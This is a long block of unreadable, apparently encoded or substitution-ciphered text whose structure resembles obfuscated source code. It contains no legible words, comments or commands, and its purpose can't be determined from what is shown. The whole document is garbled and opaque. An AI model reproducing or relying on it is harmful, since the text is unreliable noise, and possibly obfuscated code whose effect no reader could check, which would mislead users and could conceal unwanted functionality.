YDMMMKKMMT2_\_\E\X[YDEI\
YAMMMMMIZX DMMMLPPMMDMMg-[_
 E\XTTDEI^UY ]DVgVggBBM-@
M ggMMMMMEI^[2 ^MMMMSPMI2\^^TY2DMgMM-[_
 E\XTTDEI^UY ]DVgMMMI^UY ]MMMPMM-2[
^E\XUUDEIAMJJAM]AM]DVgMMMMEI^UY ]DMMg-2[
^E\[]]DEI^UY ]AMMMT2_\_\E\[]\DEI^^UAMI^[2 ^AMMO1]ODAMMMMM]DVgI	 \MMMMMPM-]]
X_E\XTZDEI^UY ]AMMMMMM]AMMMMI2\^^TY2DVgM-2[
^E\[]_DEI^UY ]DVgMMMMMMMMMMMEI	 \MMLPPMMI^^UDMMMM]Y\
\[ZE]]
X_E\[]^DAMM2[
^E\[]YDDVgMgggMMMMVgMMMMMMMMMMg-]]
X_E\[]XDEI^UY ]DVgMMMMMMM-T2_\_\E\[]_DEI^UY ]DVggMMMgBBM">>!M^M	M
MggI^[2 ^MMMMMPMMI2\^^TY2MFMMMETT[F_UDVgMMMMMMI^UY ]MMMPMM-T2_\_\E\XUUDEIAMJJAMME]\F]^DAMI^[2 ^DVgMMMMMMELI^UY ]DMVgMggM-2[
^E\[]]DEI^UY ]AM[_
 E\[]\DEI^^UAMI^[2 ^AMMMO1]ODAMMMM]DVgggMMMMI	 \MPMMMMM-[_
 E\XTZDEI^UY ]AMM]AMI2\^^TY2DVgMMMMMMMMMMEI	 \MMMMMLPPMI^^UDMMM]Y\
\[ZE]]
X_E\[]^DAMM2[
^E\[]YDDVgMM-T2_\_\E\[]_DEI^UY ]DVgMMMMME9MMMMMI

ZDMI
U\Z\PE]F]TTDVI	 _U TPI
U\Z\HYVgMMMM]Y\
\[ZET2_\_\E\[]^DAMMMMMI

ZDVgMMMMMMMMMMME(MI

ZDMMgggMggMMMMM^ 2_	U
EIAMMMIY^ZDgMgggMMEL2[
^E\XTUDEIDMMMMIMMMMMPPPMMOODMMMMMMM2[
^ETT_DMCMMMIY^ZMMMMMCMMO1OVgMMMMMMET2_\_\E\XZTDE]]
X_E\[][DAMIAMI ^	]ZTAMM=?(*2"++>(92.,=98?(DDMMMgMMMIZ[UT\MPMI ^	]ZT6]06\0MFMT2_\_\E\XT_DEI ^	]ZT6]06]0DVgIXZU	Y_MMPMMMM[_
 E\[]ZDEIAMMMMIZ[UT\AMMEU\YTFY^DDVgMMMMMMMET2_\_\E\[]UDEIXZU	Y_DMMKKMMMT2_\_\E\XZTDE[_
 E\[]TDAMIXZU	Y_AMI2	 DDMMMgggMMMMMMMIZ[UT\MMMMFPMM[_
 E\XT_DEI2	 6]0DVgMMIXZU	Y_MMMMPMM[_
 E\[]ZDEIAMMMMIZ[UT\AMET]\Z@U_XDDVgggMMMgMMMM2[
^E\[]ZDEIAMM]AMMIZ[UT\DMCMMO1OMCMMIY^ZMMMMMCMO1OMMCM]]
X_E\[\]DEIAMMMMMMIZ[UT\DVgMMMgMMMM]]
X_ETT_DMCMMIY^ZMCMMO1RS1OMCMMMMMIVgMgMMMMMM ]Y UXZEIDgMMgBBM-M@ggMMMMMMMMMEL2[
^E\[\\DE2[
^E\X_ZDDDMMMMMMVgMMMMMMI
X2Y
	MPMMMM-
2ET2_\_\E\[\_DMMMMMCMMIAMOODVgMMMMME2[
^E\[]UDEI
X2Y
	DMMMKKMT2_\_\E\X[YDEI
X2Y
	AMMJJDMLPPMDMgMMMMI 2YZUMMMPMMT2_\_\E\[\^DEJJAMMMI
X2Y
	AMMMMMM_DVgMMMMMMEEDMMI 2YZU6]0MPPPMMMEDME]]
X_E\[\YDEDMMMMMMBMME]^	\F]\\Y[\DDMMKKMEDMMMMMI 2YZU6\0MMSPME]_F]\DDMMMMVgMMMgMMMMMMVggMMMMgMMY]^  _ EIDgMMMMMgMMMMMEL[_
 E\[\\DE2[
^E\X_ZDDMMMMMMML2[
^E\[\\DE[_
 EUZTDDDMMMMVgMI2X[Z_
X2MMPMMMEDMMME2[
^E\[\XDEDMBMME]\]_F]YT\DDVgMMI
X2Y
	MPMMM-
2E2[
^E\[\_DMMMMMCMMMMMIAMOODVgMMMMMMI MPMM]VI \]ZYP\XG[VI
UU
 PI \]ZY@^YVgMME2[
^E\[]UDEI
X2Y
	DMMMKKMMM]]
X_E\X[YDEI
X2Y
	AMJJDMMMMMLPPMMMMMMDMgMI 2YZUMPMMMM[_
 E\[\^DEJJAMI
X2Y
	AM_DVgMMMMMMMMEEDMI 2YZU6]0MPPPMMI2X[Z_
X2DMI MMPMMMEDMMI 2YZU6\0VgMMMMMgMMMMI FFVgM-	2E2[
^E\[\[DMMMMMCMMIAMMMI2X[Z_
X2MMMMMMCMJJMMMMMCMI AMMMM[_
 E\XUXDDVgMMMEI MMSPMMMEX@_DDMM]Y\
\[ZET2_\_\E\[\ZDAM[_
 E\[\UDMCMMIDVgMMgMMMMMMM
TTTYEDgMMgMgMMMEL		ET2_\_\E\XT\DDDMMMMVgMMEL		E]]
X_ETXYDDMMMML-[_
 E\^T_DE:=2."#9(#92)$?DMMMMMML][X2	E:=2."#9(#92)$?DDMMMVgMI [X\MMMMPMMMMM:=2."#9(#92)$?VgMI[]
UXMMMMPMMI [X\MMMMMCMMM[_
 EXY\DVgMMMMI]_
] MPMT2_\_\E\YU[DETXXEDAMMT2_\_\E\^T^DDVggI T[ MMMMPMT_
	
  \XE,/>=,9%MCMMMMM]]
X_E\^YXDAMMMMMEZF\DDMMMCM]]
X_E\^Y[DVgMMMI]]MMMMPMMMX_T] 
EDVgMI[_Z
MMPMMMMT_
	
  \XE,/>=,9%MCMM[_
 E\X^ZDAME]UF]_DDVgI^MPMMMMMMT2_\_\E\[\TDET2_\_\E\XT]DDMMRMZ^]T
\_\EDMWMMVgMI]T[\]MMMMPMI^MLPPMMRMT2_\_\E\[_]DEI^DMMWMMM]VgI
 _\
MMMMPMMEI*!"/,!>62[
^E\[_\D0@SDMMMRMMMMMMI*!"/,!>6T2_\_\E\[_\D0@SMMMMMWMMMMM2[
^E\X^[DVgMI[
^
MPM[_
 E\[__DMMMMCMMMMM]]
X_E\[\]DE[_
 E\XUYDEI]_
] MMMCMMME
DMMM\YTYEDDAM]AMME\Y@[DDVgMMMMMMMI]	MMPMMMMU^T	ZEgg]]
X_E\[_^DAgMEJ22>!8*22JAMMMMMJ227$=2#, (22JAMJ22>% "=2&(422JAMJ22"=92#, (22JAMJ22:=2=?(+$522JAMMJ22*8,?)2#, (22JAMJ22;(?>$"#22JDAgEI]_
] AMMMMMI T[ AMMMMMI]T[\]AMI[_Z
AMI
 _\
AMMI[
^
AMT2 _U_ EDDgMDVgMELI]	DMMMI2	PU_G_VIZ 
YPI2	@\^VgMMMEEDMMMMMM
2ET2_\_\E\[_YDAMMMM]DMMSMM]DM]Y\
\[ZE2[
^E\[_XDAMMT2_\_\E\[_[DDVgMVgMMgMIMPM-2[
^E\X\\DEI[]
UXDMMMMRMM-T2_\_\E\[_ZDEI[]
UXDMWMMMMMOOVggggMMMMMMMELT2_\_\E\[_UDEIDDMMMgM]Y\
\[ZE]]
X_E\[_XDAMMT2_\_\E\YUYDDVgggMVgMgBBM- MggMMMMIMMMPMMM2
	

EIDVgMMMMIY_MPMT2 _U_ EDMMCMMJWJMCMMT_
	
  \XE,/>=,9%MMMMCM[_
 E\[_TDAMME]ZF]\DDVgMMMMMI	UXYU2MMMPM2[
^E\[^]DMMMCMMMIY_MCMM[_
 E\[^\DVgI
_U]X _MMPMMMMM]]
X_E\[^_DMCMMIY_MMCMM[_
 E\[^^DVgMI	]Z[MPMMMT_
	
  \XE,/>=,9%MMCMMM[_
 E\[_TDAME[F_DDVgMI]]
X\MMPMMMMM]]
X_E\X[TDE]]
X_E\[^YDMMMMMCMMMMI	]Z[MMMCMMMMMM[_
 E\[^XDAMOOAMMIDVgMMMMMMI	]2^[MMMMPMME2[
^E\X[YDEI]]
X\AM]]
X_E\[^[DDMMMLPPMDVgMMMMME[_
 E\X[YDEIAMI	UXYU2DMMLPPMMKKMM]]
X_E\[^ZDEIAMMI
_U]X _DMMLPPMMKKMMLI	]2^[DMgMMMMMT[U\YX
EDVgMMMVgMggMgIMPMM2[
^E\[^UDE2[
^E\[^TDAMOOAMMI]]
X\DVgMMMMMMMMEL[_
 E\[_UDEIDDMMMMMMgggg]Y\
\[ZET2_\_\E\[_XDAM]]
X_E\[Y]DDVgVggggMMMgIMPMMM2
	

EIDVgMI_UMMPMMMM]]
X_E\[Y\DE]]
X_E\XXYDAMMMOOAMMMI]	DVgBBM	 M		M	gggggMMMMMMI]U]^
XMMMPMMMMMET2_\_\E\XT_DEIDMMPPPMMM]DVggggMMMELI]U]^
XDMMgMMMMEL ]Y UXZE2[
^E\[_XDDDMgMM]Y\
\[ZET2_\_\E\[_XDAMMMM]]
X_E\XZYDDVgMMMMMVgMMggggMMMMEL_[_Z2^TEI[]
UXAMMIDDMgMMM]Y\
\[ZE]]
X_E\[Y_DAM[_
 E\X[\DDVgMMMMMVgMMMgY]^  _ E]]
X_E\[Y^DDVgMMMMMMMMMMMMMgMMMMEL_[_Z2^TEI[]
UXAMMOODDMgMM]Y\
\[ZE2[
^E\[Y^DAMMMMM2[
^E\X[\DDVgMVggggMI^MMMPM^ 2_	U
EIAMI	UXYU2MMMCMO1OMCMI_UMCMMMO1OMMMMCMMMMI
_U]X _DVgMMMMMMMMMMMMELYY2T  ^\EI[]
UXAMMI^DDMgMMMMMMMVIP\]]FTTVI[_\TPI@YXVgggggMMMEI]U]^
XDMYU	XT]2EI[]
UXDVgT[U\YX
EDVgMgMMMMMMME9MMMMMI

ZDMMMgM]Y\
\[ZE]]
X_E\[Y^DAMMI

ZDVggggMMME(MMI

ZDMMMMgMMgMMMMMMMgMM 2Z[		]2
	EDgMgMMMMMMMMMgMMEL		E]]
X_E\[YYDDDMMMMMMVgMME	2 
UXUTETXXEDDDMVgMMMMMMEL[_
 E\[YXDET2_\_\E\Y]UDDDMVgMMMMET2_\_\E\YZ\DEDMPPPMMT2_\_\E\[Y[DDMMMMVgMMMMELEI2>(?;(?6T2_\_\ETYD0DDMMMMVgMMMMME
2E]]
X_E\[YZDDDMVgMMMMMI
_MPMMX_T] 
EDVgMMMMMMMMMEL-2[
^E\^T\DEI
_DDMZ^\2 EI
_AMMMMEY]^FT]DAMMDVgggMMMEL-2[
^E\^T\DEI
_DMMML-[_
 E\[YUDEI
_DDMMMMgMMI
_MMPMMM,/>=,9%MCMT2_\_\E\[YTDVgMEL-T2_\_\E\[YUDEI
_DDMMMI
_MPMMM _^][[	EDVgMMMMMgMI[MMPMMT_
	
  \XE,/>=,9%MCMMMMMMJ
JAMEYFYDDVgMMMMMIZ2MMMMMPMMT2_\_\EXYUDMMMCMMMMI[MMMCMM]]
X_E\^T^DVgggMI 
^_^[MMMPMI
_MMCMMMJBJMCMIZ2VggggMMIZXTYMPMI
_MCMM2[
^E\[X]DMMMCMMMI[VgMMMMEEI
_AMMM,/>=,9%MMCMM[_
 E\[YTDAMM _^][[	EDDMMMMMMMI	X	TDMMggggMMI MMPMMMI	X	TMMMCMMMMM]]
X_E\[X\DMCMMMI[VgMME-[_
 E\X\YDEI DDMgMMMMI T[Y	2_ZMMPMMEDMMM-]]
X_E\X\]DEI DVgMMMMMMEI T[Y	2_ZMQPMMM2[
^E\[X_DEDMMMM@MMMMEYU\YUF^U_X_DMMI T[Y	2_ZMMSM[_
 E\[X_DEDMMMMFMME][ZF]XDDMMMMggggMM__2EI DVggVggBBM@MggME-[_
 E\X\YDEI	X	TMMMMCMMMM]]
X_E\[X^DMMCMMMMI[MMCMMMM[_
 E\^T^DDDMMMVgMMM__2EI DVgMMMMMggggMMMMMgMMMEI	X	TAMMMMMI AMI T[Y	2_ZDVgMMMMI[2]MPMMMM,/>=,9%MMMMMCMMMMMMT2_\_\E\[XYDMCMIZ2VgMMMMMMMEI
_MLPPMMM,/>=,9%MMMCMMM]]
X_E\[XXDMKKMMMMM-[_
 E\[X[DEI[2]DMMMMKKM	TZ^_Z][UEI[2]DMMMLPPMMMDMMgggg    ^U]EI[2]AMMMMMME^X\F[TDDVgMMMMMMMMME__2EI[2]DMMMMMKKMMMMM2[
^E\[YXDE]]
X_EUX^DDDMM-2	EI[2]AMDVgMMMMgMMEI[2]DVgMMMMMME-2[
^E\[XZDEIZXTYDMKKMMMMEDMM-T2_\_\E\[XUDEIZXTYDMSMMMMM]]
X_E\[X_DEDMM@MME]\F]	\DDMMMVgMMME-T2_\_\E\[XTDEI 
^_^[DMMMMKKMME]]
X_E\[X_DEDMM@MEDM- EI 
^_^[DDMQMMME^TU@TUDDMVgMMME-[_
 E\[XTDEI 
^_^[DDMgMMI_MMMMMPMMMMM-T2_\_\E\[[]DEI
_MCMMT2_\_\E\[[\DMMMMCMI[DMMMMMRMM2[
^E[[_DEE
DMM-[_
 E\[[_DEI
_MMMCMMMM[_
 E\[[\DMMMMMCMI[DDMMMWMMMOOVgMMMMEI_MMLPPMMMMOOMMMKKMMMT2_\_\E\[[^DET2_\_\E\[[YDAMMI_DMKKM2 EI_AMT2 _U_ EDAMJSJDDMVgMMMEI_DVgggggMMME-2[
^E\[[]DEI 
^_^[DDMMMMMMggMMIT[YZ
 MMPMMI
_MMMCMM]]
X_E\[[XDMMCMT_
	
  \XE,/>=,9%MMMMMCMJ
JAMMME]XF]^DDVgI[]X	
TMMMPMMMM-]]
X_E\[[]DEIT[YZ
 DMMRMMME
DMMM-2[
^E\[[[DEIT[YZ
 DMMMWMMOOVgMMMMIU[2MPM]VgMMMMEI[]X	
TMMLPPMOODMMMIX	PE]Z	F]XDVI	 
2PIX	HZVggMI]X]]
MPMMMM]]
X_E\[[ZDEJJAMMMI[]X	
TDVgMMMMMMIU[2MMMMPMMMMMEDMMMI]X]]
6]0VgMMMgMMMMMMEIU[2MMMMSMMMM]MMMKKMMT2_\_\E\[X_DEDM@MIU[2MMSMMME]_^F]\Y[DDMMM]Y\
\[ZE]]
X_E\[[UDAMMMMM]]
X_E\[[TDDVgMMMEIU[2MMPPPM]MMMMKKMMME2[
^E\[X_DEDMMM@MMMEDMMMM- EI 
^_^[DDMMSMEU^_F[UDDM]Y\
\[ZE[_
 E\[[UDAMMM]]
X_E\[Z]DDVgMEIT[YZ
 AMMMI[]X	
TAMMMI]X]]
AMMMMMIU[2DVggggMMMMgMIZX MMPMM] UX_^^EDVggMELIZX MMMMMMMMT2_\_\E\XT_DEIZX DMMMMMQMMMEY^^F[ZDDMVgMMMMIZXZ	^MPMMMMM[^22TEDVgMMI]_
] MMMPM]]
X_E\YU[DETXXEDAMMMMM]]
X_E\^T^DDVgMIZ^] [MMPMMM _^][[	EDMMMMCMMT2_\_\E\XDVgMMIZ\]2]U]2MMMPMMM-2[
^E\[Z\DEIZ^] [DgRMMMEIZ^] [MMCMMMJBJMMMMCMMMI]_
] MMMMMCMMMMM]]
X_E\^T^DDgMMMWME _^][[	EDMCMMMMMM]]
X_E\[Z_DMCMMMI]_
] MMMCMMJBJMMCMI]_
] MMCMM2[
^E\[Z^DDVgIZ\___MMMPM]]
X_E\[YXDE2[
^EZZ]DDMMMMRMMM]]
X_E\[ZYDE 2EDAMMMM=%=28?!2%">9DMMMMMWMMEEI2>(?;(?6T2_\_\E\[ZXD0DMMRMMI2>(?;(?6[_
 E\[ZXD0MWMOODVgMMMMMMIUX] [MMMMMPMMMME		E[_
 E[^YDDMMKKMMMMM:= 82=!8*$#2)$?DMRM:= 82=!8*$#2)$?MMWMM _^][[	EDMMCMM[_
 E\XDVgIT_2TZMMMMMPMMMME		ET2_\_\EU__DDMMMKKM:=2=!8*$#2)$?DMMMRMMMM:=2=!8*$#2)$?MMMMMWMM _^][[	EDMMMMMCMT2_\_\E\[Z[DVgMMMI 	\MMMMMMPM		ET2_\_\ETXYDDMRMM:=2."#9(#92)$?MMMWMM _^][[	EDVgMMMI\
^_ZMPMU^T	ZEgggg[_
 E\[[UDAggggMMMEJ22=,9%2/[Y22JAMJ22=!8*$#2/,>([Y22JAMJ22)" ,$#22JAMJ22%/2/[Y22JAMMJ22*=,9%2/[Y22JAMJ22,/>=,9%2/[Y22JAMMMJ22."#9(#9)$?2/[Y22JAMJ22 8)$?2/[Y22JAMMMJ22=!8*$#)$?2/[Y22JAMMMMMMJ22>!8*22JAMMMJ22;(?>$"#22JDAgE2[
^E\^ZXDEIZ\]2]U]2DAMMMMMIZXZ	^AMMIZ\___AMM2[
^E\^ZXDEIZXTYDAM2[
^E\[ZZDEI 
^_^[DAMMM[_
 E\[ZZDE,/>=,9%DAMM]]
X_E\[ZUDEI 	\DAMMM2[
^E\[ZUDEIUX] [DAMMT2_\_\E\[ZUDEIT_2TZDAM[_
 E\YU[DETXXEDAMM[_
 E\[Z^DDAMMT2 _U_ EDDgMMMDVgMELI\
^_ZDMMMMMMgMMMEEDMMMM
2ET2_\_\E\[_YDAMMM]DMMMSM]DMM]Y\
\[ZE[_
 E\[[UDAMM]]
X_E\[ZTDDVgVggMMggggMMMMMMMMEL]TX^EI\
^_ZDDMMgMMMM]Y\
\[ZET2_\_\E\[U]DAMMMT2_\_\E\[U\DDVgVgMMMMgMEYY2T  ^\EI 
^_^[AMMMMMMI\
^_ZDDMMMgM[]^^
_EI 
^_^[AM	^EDDVgMM    ^U]EI 
^_^[AMMMME^\[F\]YDDVgMMMYU	XT]2EI 
^_^[DVgMMMM	 ^^TYEI
_MMCM]]
X_E\[U_DMCMI[AMMMMM2[
^E\XUYDEI\
^_ZDAMT2_\_\E\[U]DDVgMM	 ^^TYEI
_MMCMMMM2[
^E\[[\DMMCMMMMI[AMMT2 _U_ EDAMMMT2_\_\E\[U]DDVgMM-	2MMMMI 
^_^[VggMMM2E[_
 E\[U^DAMMM\AME_Z\F_TDDVggMMEIUX] [AMMMIT_2TZAMMMI 	\DVgMMMMMMMMMME9MMMMI

ZDMg]Y\
\[ZE[_
 E\[U]DAMMI

ZDVgMMMMMME(MMI

ZDMMMgMgMMMMMMMgMMMMMMMY ]^]XEI2XUZDgMgMEL[_
 E\[UYDEI2XUZDDMMMMMMMMVgMMMMI	Y]\	^Y
^[Z^MMPMMMMM]]
X_E\XT_DEI2XUZDVgMMMMEI	Y]\	^Y
^[Z^MMSME\YZ]TU[@Y__Y\]DDMMMMVgMMMEI	Y]\	^Y
^[Z^MMQMMMEY^TF[\DDMMMMMMMMVgMMMI\XT2MMMPMMT2_\_\E\[\]DEI2XUZAMMM]AMMMME[XYYUFUUDDVgI TU\ _ MMMMMPMMMM]]
X_E\[UXDEI\XT2AMMMJMJDMMFMMMMMM2[
^E\[U[DEI\XT2AMO1ODVgMMMMMMMMMEI TU\ _ MMBMM2[
^E\XT_DEI\XT2DDMMSMM]CXXVgMMMgMMMM] UX_^^EI\XTT MMPMMMDgMMMggMMMMMMMIZX MPMMVgMMMMMMMMEI\XTT DMMMMMgMMMMMMIZX MPMMMMMVgggMMMgMMMEIZX MMLPPMMDMMMMIZX VgI2XUZMPMMMVggggMI2 U^
MPMM-2[
^E\\\TDETXXEDDVgggMMMMMMMEI2 U^
MMMMMKKMMMI2 U^
MMMSMMMEY\TFU\DMMKKMMMI2 U^
MMMQPMMEX_Y_UZ[\F^TDDMMMI2XUZMPMMMMM-]]
X_E\[[[DETXXEDDVggggMMMMMMMMMMET2_\_\E\[UYDEI2XUZDMMMMMMKKMT2_\_\E\XT_DEI2XUZDMSME^X[T_TF[T\[YZDDMMMI2XUZMPMMM2
	

EI2XUZDVggggMMME[_
 E\[UYDEI2XUZDMKKMMM[_
 E\XT_DEI2XUZDMMMMSMMET[Y@Y[YDMMMKKM]]
X_E\XT_DEI2XUZDMMQPMMME\]YUXZ]F[DMKKMMLY ]^]XEI2XUZDMKKMMMMM]TX^EI2XUZDDMMMMgBGM	 	MMGBggMMIZX MPMMMMI2XUZVgMIZX VgMMgMI

U__MMMMPM_		T
U_E[_
 EUUZDAMMOODVgMMMET2_\_\E\[UYDEI

U__DMMMMMKKMMMMT2_\_\E\XT_DEI

U__DMSMMEYUXF\XDMMMMKKMMM2[
^E\XT_DEI

U__DMQPMMMME\]YYY^\FY\YXDMMKKMMLY ]^]XEI

U__DMMKKMM]TX^EI

U__DDMMMMMgMMIZX MPMMI

U__VgMMMMIZX VgMgMMMIZX MPMVggggMMMIZX VgMMgM[^22TEI\XTT MMMPMMMDgMgMMMMI2\Z]U 	MMPMVggggMMEI\XTT DMMggMMMI2\Z]U 	MMMMPMVgMMMMMMgMMMMMMMMEI2\Z]U 	MLPPMMMMDMMMMMMMI2\Z]U 	VgI2XUZMPMM] UX_^^EDVgMMMMMEL[_
 E\[UYDEI2XUZDMMMMMM2[
^E\XT_DEI2XUZDMQMMMEY\\FUTDMMM]]
X_E\[UZDEI2XUZDMSME\][^^ZY@\YZTUDMMMMMMMMMMY ]^]XEI2XUZDMMML]TX^EI2XUZDDMgMI2\Z]U 	MMMMPMMMVgMMMI2\Z]U 	VggggMMMMMI2\Z]U 	MMMPMMMT2_\_\E\[ZUDET[
	UEI2XUZDDVgMMI2\Z]U 	VgMMMgMMMMMM_\ZXEI\[[^

	DgMMMMMMgMEL2[
^E\[UYDEI\[[^

	DMMM]]
X_E\[UZDEI\[[^

	DMQME\[F_DMMMT2_\_\E\[UUDEI\[[^

	AMM]AM_DMMLPPMMMO1\1UODMMMM]VgI _	ZMMMMMPMMM-]]
X_E_T]DEJ;JAMM2[
^E\[UUDEI\[[^

	AMM@EU@YDDDVgMMMI _	ZMMPMMMMM[_
 E\[UTDEI _	ZDMMMMRMI _	Z6\0MMMMMWM]VgMMMMMMMEI _	ZMMQMEY[YF^[DMMMI _	ZMMMSMME\]YUX[ZFTDDMMMMMMI _	ZVgMMMMM]VgMgMMMMMMM2X\\2UU]EI__^\\DgMMMMMgMMMMM]]
X_E\[T]DE	EI__^\\6\0DDVggggMMMMMMMgMMMUT_[_YEI	]_[	DgMMMggggMMMMMEL]]
X_E\[UYDEI	]_[	DMMMMMI	]_[	MPPPMOODMMMMI	]_[	VgMMMMMIZ[U U\MMMMMPMVgMMMMEIZ[U U\MMMPPPMDMgBBM=%=MUC\MWMM @gggMMMMMMIZ[U U\MMMPMMMVgMMMMMMME2[
^E\[YXDET2_\_\E\[T\DDDMMggggMI2		MMMMPMM		E[_
 E\[T_DDMMMMRM:=2."#9(#92)$?MMMMWME		E2[
^E\[T^DDMMRMMM,/>=,9%MWMOODVgMMMMMMEI2		MMMMMLPPMMOODMMgMMI	U^[^MMMMPM-	22EI2		DVgMMMMMMEI	U^[^MLPPMMMMMMMKKMMMMI	U^[^MMMMSPMMME\XZ_U[^Y^FXZDDMMIZ[U U\MMPMMVgMMMMMgBBM-M
ggMMgBBM ><!M'>"#MWM 
MggMMMMMMELIZ[U U\DMgMMMME]]
X_E\[TYDE]]
X_EUZTDDDM-	2E]]
X_E\[TXDAM2[
^E\[X_DEDAMMMMMM[_
 E\XUXDDVgMMMMMMMME[_
 E\[TYDET2_\_\E\X_ZDDDMMgMIT
\]YYU\MMPMEDMMM
2E]]
X_E\[T[DAM]DVgMMMMEIT
\]YYU\MMKKMMMMM]]
X_E\[X_DEDMM@MIT
\]YYU\MQMME\_YU]]@^UY]]DDMMMIZ[U U\MMMPMMMVggMMMMMgMMMMMMMMMMELIZ[U U\DMMMMMgMMI	]_[	VgMMMggggMI 	^ZYZ[MMMPMME_[ZYZX\F_U_X_YTDMMMMFMMMM2[
^E\[TZDE]AMMMME_]]YUY_@X]YUY_DDVgMMMMMMMMME[_
 E\[UZDEI	]_[	DMMMMMSPMMI 	^ZYZ[DMMMMI	]_[	VgMMMMMMME]]
X_E\[UUDE2[
^E\YY[DEI	]_[	DAMMM@_DMMPPPMMT2_\_\E\[TUDDMMMI	]_[	VgMMMMMMMET2_\_\E\[UZDEI	]_[	DMQMI 	^ZYZ[M@ME^U\]F_T]DDMMMMMgI	]^\^
TMMPMMMOOVgMMME]]
X_E\[TTDE2[
^E\Z]]DDDMMMggMMMITXP=%=2 ,'"?2;(?>$"#VI  PITXGTVgMI	]^\^
TMMMPMMMM-2[
^E\Z]\DE	 2EE\T\\FUTDDDVgMMMMME9MMI

ZDMgggI	]^\^
TMMMPMMMMMOOVgMMMMMME(MMMI

ZDMgI	]^\^
TMMPMMOOVgggMMggggMMME2[
^E\[UZDEI	]^\^
TDMMMMQMMMMME_TUYF\]\[DDMMMMgggMI	]^\^
TMMMMPM[_
 E\XUYDE	EOOAMMMDDVgMME[_
 E\Z]_DEI	]^\^
TDMMMQMME_UX]F\\X]DDMMI	]^\^
TMMCPM]]
X_E\Z]^DEI	]^\^
TDVgMgMMI	]_[	MMMCPMMMO1BGOMMMMCMMMI	]^\^
TMMMMCMM]]
X_E\Z]YDVgMMMgMMMI	]_[	VgMMgggMM2
	

EI	]_[	DgMMMgMMMMMMELT2_\_\E\Z]XDEI	]_[	DMMMMM2[
^E\Z]_DEI	]_[	DMMMMMQPMME\]YUX\_F[YDDMMMMMI	]_[	VgMI MPM[_
 E\[Y\DE2[
^E\Z][DAMMMMOOAMMMMMI	]_[	DVI
]XPT_Y]VIX ^_PI
]XH_VgMMMMMM]]
X_E\Z]XDEI DMRMMI MMWMMMI	]_[	VgMMMgMMMMYU	XT]2EI\X	DggggMMMMMgBBM
@	M	
MM=%=M 	M
 ggMMMMMMMMMMMELT2_\_\E\Z]ZDE]]
X_E\X_ZDDMMMMMMML[_
 E\Z]UDET2_\_\EUZTDDDMVgMMMMMMMEL2[
^E\Z]XDEI\X	DMMMMMMI\X	MPPPMMMMOOMMMML-[_
 E\[[]DEI\X	DDMMVgMMMMELEI*!"/,!>6]]
X_E\Z]TD0DMMMMMML2[
^E\[UTDEI*!"/,!>6[_
 E\Z]TD0DDMMMgI*!"/,!>6]]
X_E\Z]TD0MMPMMMM
2E]]
X_E\Z\]DAMEDDVgMMELT2_\_\E\Z\\DEI*!"/,!>62[
^E\Z]TD0DDMI*!"/,!>6T2_\_\E\Z]TD0MMMMMMPMEDVgMMMggggMMMMI__^\\MMMPMI*!"/,!>6T2_\_\E\Z\_D0VgMMMI	]_[	MMMMMPMMM-[_
 E\[[[DEI\X	DVgMEL2[
^E\Z]XDEI	]_[	DDMMMVgME2[
^E\Z\^DEI	]_[	DMMMSMME]	[_ZF]_YT	TDDMMMI	]_[	MPMM2
	

EI	]_[	DVgMI__^\\6T2_\_\E\Z]^DEI\X	D0MPMMEJJMPSMMI\X	AMMJJMMPSMMMT2_\_\E\Z\YDEI	]_[	DAMJ
JMPSMMMT2 _U_ EDAMMJJMMMPSMMMT2_\_\E\Z\XDEDDVgMMME2[
^E\X\TDEI__^\\DMMMMMSMMMMMME_X[@X[DDMMgMMMMEI__^\\MMMMI_]_ MPSMMMI
X2Y
	DMMMMMgMEL2[
^E\Z\\DEI
X2Y
	DMMMMMLEI
X2Y
	6JJ0DMMMMMMMEDMMMI
X2Y
	6JJ0MMMMMMQMMMT2_\_\E\Z\XDEDMM@MME_XT\T\^FUZDDMEI__^\\6I_]_ 0DVgMggggMMMMMET2_\_\E\X\TDEI__^\\DMMSMMME_ZZ@ZZDDMgBGM M @MGBggMMMIU\ZMMPMMMMVgMMMMMITTT[MMMPMMMMMMVIXT]P[ZF\YVI
2^PIXT]@[VgMMMMMMMEI__^\\MMMMMI_]_ MMMMPSMMI
X2Y
	DMMMgMI]\MPMMMMM[_
 E\Z\[DEI
X2Y
	DMMMMMKKMMEI
X2Y
	6JJ0DMRMMEDMMMI
X2Y
	6JJ0MWMMMMMM]VgMMMMMMMMMMEITTT[MMPPPMMMMMMI]\MMQMMITTT[DMMgMITTT[MPMI]\VgIU\ZMPMMMMMI_]_ VgggMMMMMgMgMMMMMMEIU\ZMMMMPPPMMMMDMMVgMMMEI__^\\6IU\Z0DVgMMMMMMgggMgMMMMM	2E[_
 E\Z\]DAMMMMMI__^\\AMM2[
^E\Z\ZDDVI	\^P@[UTVIZ	 \]PEI	\^S]DRI	\^W@I	\^VggMI*!"/,!>62[
^E\Z\_D0MMMMPMI__^\\VgggMMgMMMMM	TZ^_Z][UEI\X	DgMgMMMMMMMEL[_
 E\Z]XDEI\X	DMMMMMMI\X	MPPPMMOODMMMMMVgMMMMMMMELEI*!"/,!>6[_
 E\Z\UD0DMMMMMMLT2_\_\E\Z\[DEI*!"/,!>62[
^E\Z\TD0DDMMgMMMI*!"/,!>6T2_\_\E\Z\TD0MMMMMPMMM[_
 E\Z]UDE]]
X_E\X_ZDDMRMMMM
2E[_
 E\Z\]DAMMMMMEDDMMWMMMEDVgMMMMMMMMEL]]
X_E\Z\[DEI*!"/,!>6T2_\_\E\Z_]D0DDMMI*!"/,!>62[
^E\Z_]D0MPMEDVggMMMgMMMI__^\\MPMI*!"/,!>62[
^E\Z_]D0VgMIZ2UZXMPM2[
^E\Z\YDEI\X	DVgggMMMEEI__^\\6IZ2UZX0DMMMMKKMT2_\_\E\Z\[DEI__^\\6IZ2UZX0DMMMKKMMMMMEI__^\\6IZ2UZX06JJ0DDMgMMMMMMEEDM-T2_\_\E\\\TDEI\X	DMMMSME]\	]	Y_F]\Z__DDMMMMMMM2[
^E\Z_\DVgI	]_[	MMMPMM-T2_\_\E\Z__DEI\X	DVgMME]]
X_E\Z]XDEI	]_[	DDMMgMME[_
 E\Z_^DEI	]_[	DMSMME\]YUX^\FYXDDMMI	]_[	MMPM2
	

EI	]_[	DVgMME[_
 E\Z_YDEI	]_[	DMMPPPMMI__^\\6IZ2UZX06JJ0DMMMMMRMMMMMMMWMM[_
 E\Z_\DVggMggggMMMMVggMgI\TMMMPMM-]]
X_E\Z__DEI\X	AMMMAMAM]AMEY]\_FUYDDVgMEgMMMMM[_
 E\Z]XDEI\TDMKKMM]]
X_E\[[^DE]]
